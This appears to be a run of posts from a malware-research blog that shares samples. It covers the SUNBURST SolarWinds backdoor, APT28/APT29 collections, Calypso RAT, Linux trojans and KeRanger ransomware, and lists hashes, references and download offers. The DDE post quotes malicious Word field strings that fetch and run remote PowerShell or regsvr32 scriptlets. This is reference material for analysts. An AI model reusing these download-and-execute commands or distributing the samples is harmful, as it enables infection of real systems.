Monday, December 14, 2020

2020-12-13 SUNBURST SolarWinds Backdoor samples



I am sure you all saw the news.

Well, here are the Sunburst binaries. 
Here is a Sunburst malware analysis walk-through video by Colin Hardy


             Other malware





A Variant Of MSIL/SunBurst.A

This is the compromised installer file ( was still on Solarwinds update downloads  on Dec 14, 2020

File size 419.76 MB


2020-04-21 17:31:02
SolarWinds Orion Core Services 2020.2
File Version Information
Date signed 05:32 PM 04/21/2020
Solarwinds Worldwide, LLC
Symantec Class 3 SHA256 Code Signing CA
VT - 0 (Dec 14, 2020)

If you unzip, check 

SolarWinds.Orion.Core.BusinessLayer.dll under OrionCore

Sunday, December 1, 2019

APT Calypso RAT, Flying Dutchman Samples


 Attackers exploit Windows SMB vulnerability CVE-2017-0143 or use stolen credentials to gain access, deploy the custom Calypso RAT and use it to upload other tools such as Mimikatz, EternalBlue and EternalRomance. They move laterally and steal data.

Sunday, October 6, 2019

Masad Clipper and Stealer - Windows spyware exfiltrating data via Telegram (samples)


“Masad Clipper and Stealer” steals browser information, computer files,  and automatically replaces cryptocurrency wallets from the clipboard with its own.
It is written using Autoit scripts and then compiled into a Windows executable.
It uses Telegram to exfiltrate stolen information.

Amnesia / Radiation Linux botnet targeting Remote Code Execution in CCTV DVR samples

Linux/AirDropBot samples

Tuesday, June 4, 2019

Tuesday, March 20, 2018

Rootkit Umbreon / Umreon - x86, ARM samples

Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems
Research: Trend Micro

There are two packages
one is 'found in the wild' full and a set of hashes from Trend Micro (all but one file are already in the full package)

Wednesday, October 18, 2017

DDE Command Execution malware samples

Here are a few samples related to the recent DDE Command execution

10/18/2017 InQuest/yara-rules 


File information
List of available files:
Word documents:


File details with MD5 hashes:
Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"\";IEX((new-object net.webclient).downloadstring('')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"\";IEX((new-object net.webclient).downloadstring('')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p:// scrobj.dll" "For Security Reasons")

7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d  Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object'');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp

9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp

10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc

Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe  Poland payload

Friday, March 31, 2017

Part II. APT29 Russian APT including Fancy Bear

This is the second part of Russian APT series.

"APT29 - The Dukes Cozy Bear: APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008.1210 This group reportedly compromised the Democratic National Committee starting in the summer of 2015" (src.  Mitre ATT&CK)

Please see the first post here: Russian APT - APT28 collection of samples including OSX XAgent

I highly recommend reading and studying these resources first:

List of References (and samples mentioned) listed from oldest to newest:

  1. 2012-02 FSecure. COZYDUKE
  2. 2013-02_Crysys_Miniduke Indicators
  3. 2013-04_Bitdefender_A Closer Look at MiniDuke
  4. 2014-04 FSecure_Targeted Attacks and Ukraine
  5. 2014-05_FSecure.Miniduke still duking it out
  6. 2014-07_Kaspersky_Miniduke is back_Nemesis Gemina and the Botgen Studio
  7. 2014-07_Kaspersky_The MiniDuke Mystery PDF 0-day
  8. 2014-11_FSecure_OnionDuke APT Attacks Via the Tor Network
  9. 2014_FSecure_Cosmicduke Cosmu with a twist of MiniDuke
  10. 2015-04_Kaspersky_CozyDuke-CozyBear
  11. 2015-07_FSecure_Duke APT Groups Latest Tools Cloud Services and Linux Support
  12. 2015-07_Fireeye_Hammertoss_Stealthy_tactics_define_Russian_Cyber
  13. 2015-07_Kaspersky_Minidionis one more APT with a usage of cloud drives
  14. 2015-07_PaloAlto_Tracking_MiniDionis
  15. 2015-07_Palo_Alto_Unit 42 Technical Analysis Seaduke
  16. 2015-07_Symantec_Seaduke latest weapon in the Duke armory
  17. 2015-08_Prevenity Stealing data from public institutions
  18. 2015-09_FSecure_THE DUKES7 years of Russian cyberespionage
  19. 2016-06_Crowdstrike_Bears in the Midst Intrusion into the Democratic National Committee
  20. 2016-11_Volexity_PowerDukePostElection
  21. 2016-12_Chris_Grizzly SteppeLighting up Like A Christmas Tree
  22. 2017-03 Fireeye APT29 Domain Fronting With TOR
  23. Fancy Bear source code 


Download sets (matching research listed above). Email me if you need the password
          Download all files/folders listed (MB)

Monday, March 20, 2017

DeepEnd Research: Analysis of Trump's secret server story

 We posted our take on the Trump's server story. If you have any feedback or corrections, send me an email (see my blog profile on Contagio or DeepEnd Research)

Analysis of Trump's secret server story...

Monday, February 20, 2017

Part I. Russian APT - APT28 collection of samples including OSX XAgent

 This post is for all of you, Russian malware lovers/haters. Analyze it all to your heart's content. Prove or disprove Russian hacking in general or DNC hacking in particular, or find that "400 lb hacker" or  nail another country altogether.  You can also have fun and exercise your malware analysis skills without any political agenda.

The post contains malware samples analyzed in the APT28 reports linked below. I will post APT29 and others later.

Read about groups and types of targeted threats here: Mitre ATT&CK

List of References (and samples mentioned) listed from oldest to newest:

  1. APT28_2011-09_Telus_Trojan.Win32.Sofacy.A
  2. APT28_2014-08_MhtMS12-27_Prevenity
  3. APT28_2014-10_Fireeye_A_Window_into_Russia_Cyber_Esp.Operations
  4. APT28_2014-10_Telus_Coreshell.A
  5. APT28_2014-10_TrendMicro Operation Pawn StormUsing Decoys to Evade Detection
  6. APT28_2015-07_Digital Attack on German Parliament
  7. APT28_2015-07_ESET_Sednit_meet_Hacking
  8. APT28_2015-07_Telus_Trojan-Downloader.Win32.Sofacy.B
  9. APT28_2015-09_Root9_APT28_Technical_Followup
  10. APT28_2015-09_SFecure_Sofacy-recycles-carberp-and-metasploit-code
  11. APT28_2015-10_New Adobe Flash Zero-Day Used in Pawn Storm
  12. APT28_2015-10_Root9_APT28_targets Financial Markets
  13. APT28_2015-12_Bitdefender_In-depth_analysis_of_APT28–The_Political_Cyber-Espionage
  14. APT28_2015-12_Kaspersky_Sofacy APT hits high profile targets
  15. APT28_2015_06_Microsoft_Security_Intelligence_Report_V19
  16. APT28_2016-02_PaloAlto_Fysbis Sofacy Linux Backdoor
  17. APT29_2016-06_Crowdstrike_Bears in the Midst Intrusion into the Democratic National Committee << DNC (NOTE: this is APT29)
  18. APT28_2016-07_Invincea_Tunnel of Gov DNC Hack and the Russian XTunnel
  19. APT28_2016-10_ESET_Observing the Comings and Goings
  20. APT28_2016-10_ESET_Sednit A Mysterious Downloader
  21. APT28_2016-10_ESET_Sednit Approaching the Target
  22. APT28_2016-10_Sekoia_Rootkit analysisUse case on HideDRV
  23. APT28_2017-02_Bitdefender_OSX_XAgent  << OSX XAgent


Download sets (matching research listed above). Email me if you need the password
          Download all files/folders listed (72MB)

Sample list

Wednesday, August 24, 2016

Linux.Agent malware sample - data stealer

Research: SentinelOne, Tim Strazzere Hiding in plain sight?
Sample credit: Tim Strazzere

List of files

9f7ead4a7e9412225be540c30e04bf98dbd69f62b8910877f0f33057ca153b65  malware
d507119f6684c2d978129542f632346774fa2e96cf76fa77f377d130463e9c2c  malware
fddb36800fbd0a9c9bfffb22ce7eacbccecd1c26b0d3fb3560da5e9ed97ec14c  script.decompiled-pretty
ec5d4f90c91273b3794814be6b6257523d5300c28a492093e4fa1743291858dc  script.decompiled-raw
4d46893167464852455fce9829d4f9fcf3cce171c6f1a9c70ee133f225444d37  script.dumped

malware fcbfb234b912c84e052a4a393c516c78
script.decompiled-pretty aab8ea012eafddabcdeee115ecc0e9b5
script.decompiled-raw ae0ea319de60dae6d3e0e58265e0cfcc
script.dumped b30df2e63bd4f35a32f9ea9b23a6f9e7


Download. Email me if you need the password

Wednesday, August 17, 2016

"i am lady" Linux.Lady trojan samples

Bitcoin mining malware for Linux servers - samples
Research: Dr. Web. Linux.Lady

Sample Credit:  Tim Strazzere

MD5 list:


Download. Email me if you need the password.

Sunday, March 6, 2016

Ransomware.OSX.KeRanger samples

Research: New OS X Ransomware KeRanger Infected Transmission BitTorrent Client Installer by Claud Xiao

Sample credit: Claud Xiao

File information








Tuesday, February 23, 2016

Files download information

After 7 years of Contagio existence, Google Safe Browsing services notified Mediafire (hoster of Contagio and Contagiominidump files) that "harmful" content is hosted on my Mediafire account.

It is harmful only if you harm your own pc and but not suitable for distribution or infecting unsuspecting users but I have not been able to resolve this with Google and Mediafire.

Mediafire suspended public access to Contagio account.

The file hosting will be moved.

If you need any files now, email me the posted Mediafire links (address in profile) and I will pull out the files and share via other methods.

P.S. I have not been able to resolve "yet" because it just happened today, not because they refuse to help.  I don't want to affect Mediafire safety reputation and most likely will have to move out this time.

The main challenge is not to find hosting, it is not difficult and I can pay for it, but the effort move all files and fix the existing links on the Blogpost, and there are many. I planned to move out long time ago but did not have time for it. If anyone can suggest how to change all Blogspot links in bulk, I will be happy.

P.P.S. Feb. 24 - The files will be moved to a Dropbox Business account and shared from there (Dropbox team confirmed they can host it )  

The transition will take some time, so email me links to what you need. 

Thank you all

Wednesday, August 12, 2015

Potao Express samples


2011- July 2015
  • Aka  Sapotao and node69
  • Group - Sandworm / Quedagh APT
  • Vectors - USB, exe as doc, xls
  • Victims - RU, BY, AM, GE 
  • Victims - MMM group, UA gov
  • has been serving modified versions of the encryption software (Win32/FakeTC) that included a backdoor to selected targets. 
  • Win32/FakeTC - data theft from encrypted drives
  • The Potao main DLL only takes care of its core functionality; the actual spying functions are implemented in the form of downloadable modules. The plugins are downloaded each time the malware starts, since they aren’t stored on the hard drive.
  • 1st Full Plugin and its export function is called Plug. Full plugins run continuously until the infected system is restarted
  • 2nd Light Plugin with an export function Scan. Light plugins terminate immediately after returning a buffer with the information they harvested off the victim’s machine.
  • Some of the plugins were signed with a certificate issued to “Grandtorg”:
  • Traffic 
  • Strong encryption. The data sent is encapsulated using the XML-RPC protocol.
  • MethodName value 10a7d030-1a61-11e3-beea-001c42e2a08b is always present in Potao traffic.
  • After receiving the request the C&C server generates an RSA-2048 public key and signs this generated key with another, static RSA-2048 private key .
  • In 2nd stage the malware generates a symmetric AES-256 key. This AES session key is encrypted with the newly received RSA-2048 public key and sent to the C&C server.
  • The actual data exchange after the key exchange is then encrypted using symmetric cryptography, which is faster, with the AES-256 key
  • The Potao malware sends an encrypted request to the server with computer ID, campaign ID, OS version, version of malware, computer name, current privileges, OS architecture (64 or 32bits) and also the name of the current process.
  • Potao USB - uses social engineering, exe in the root disguised as drive icon
  • Potao Anti RE -  uses the MurmurHash2 algorithm for computing the hashes of the API function names.
  • Potao Anti RE - encryption of strings
  • Russian TrueCrypt Win32/FakeTC - The malicious program code within the otherwise functional TrueCrypt software runs in its own thread. This thread, created at the end of the Mount function, enumerates files on the mounted encrypted drive, and if certain conditions are met, it connects to the C&C server, ready to execute commands from the attackers.
  • IOC

Tuesday, May 12, 2015

An Overview of Exploit Packs (Update 25) May 2015

Update May 12, 2015

Added CVE-2015-0359 and updates for CVE-2015-0336

Sunday, March 8, 2015

Ask and you shall receive

I get emails from readers asking for specific malware samples and thought I would make a mini post about it.

Yes, I often obtain samples from various sources for my own research.

 I am sometimes too lazy/busy to post them but don't mind sharing.
If you are looking for a particular sample, feel free to ask. I might have it.

Send MD5 (several or few samples). I cannot provide hundreds/thousands of samples or any kind of feeds. If you ask for a particular family, I might be able to help if I already have it.

Unfortunately, I do not have time to do homework for students and provide very specific sets for malware with specific features as well as guarantee the C2s are still active.  Send your MD5(s) or at least malware family and I check if I have it :) If i have it, I will either send you or will post on the blog where you can download.

If you emailed me in the past and never got an answer, please remind me. Sometimes emails are long with many questions and I flag them to reply to later, when I have time and they get buried or I forget. It does not happen very often but accept my apologies if it happened to you.

Before you ask, check if it is already available via Contagio or Contagio Mobile.
1. Search the blog using the search box on the right side
2. Search here
3. Search here
4. Search here

Cheers,  Mila

Thursday, February 19, 2015

Collection of Pcap files from malware analysis

Update: Feb 19. 2015

We have been adding pcaps to the collection so remember to check out the folder ( Pcap collection) for the recent pcaps.

I had a project to test some malicious and exploit pcaps and collected a lot of them (almost 1000) from various public sources. You can see them in the PUBLIC folder. The credits go to the authors of the pcaps listed in the name of each file. Please visit their blogs and sites to see more information about the pcaps, see their recent posts, and send them thanks. The public pcaps have no passwords on them.

Sunday, January 4, 2015